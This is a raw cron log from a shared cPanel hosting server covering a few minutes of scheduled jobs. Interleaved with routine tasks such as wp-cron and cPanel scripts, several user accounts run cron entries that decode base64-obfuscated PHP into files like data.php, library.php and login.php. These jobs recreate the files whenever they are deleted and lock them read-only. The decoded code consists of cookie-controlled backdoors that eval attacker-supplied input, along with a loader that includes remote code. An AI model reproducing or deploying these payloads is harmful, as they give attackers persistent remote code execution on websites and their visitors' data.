Mar  2 13:37:02 medusa CROND[19839]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:37:02 medusa CROND[19840]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:37:02 medusa CROND[19841]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:37:02 medusa CROND[19845]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 13:37:02 medusa CROND[19846]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:37:02 medusa CROND[19851]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:37:02 medusa CROND[19863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:37:02 medusa CROND[19865]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:38:01 medusa CROND[5971]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:38:01 medusa CROND[5981]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 13:38:02 medusa CROND[6227]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:38:02 medusa CROND[6228]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:38:02 medusa CROND[6229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:38:02 medusa CROND[6230]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:38:02 medusa CROND[6231]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:38:02 medusa CROND[6235]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:38:02 medusa CROND[6238]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 13:38:02 medusa CROND[6240]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:38:02 medusa CROND[6241]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:38:02 medusa CROND[6246]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:38:02 medusa CROND[6248]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:39:01 medusa CROND[22889]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 13:39:02 medusa CROND[23200]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 13:39:02 medusa CROND[23202]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:39:02 medusa CROND[23203]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:39:02 medusa CROND[23204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:39:02 medusa CROND[23205]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 13:39:02 medusa CROND[23207]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:39:02 medusa CROND[23208]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:39:02 medusa CROND[23206]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:39:02 medusa CROND[23210]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:39:02 medusa CROND[23211]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:39:02 medusa CROND[23214]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:39:02 medusa CROND[23219]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
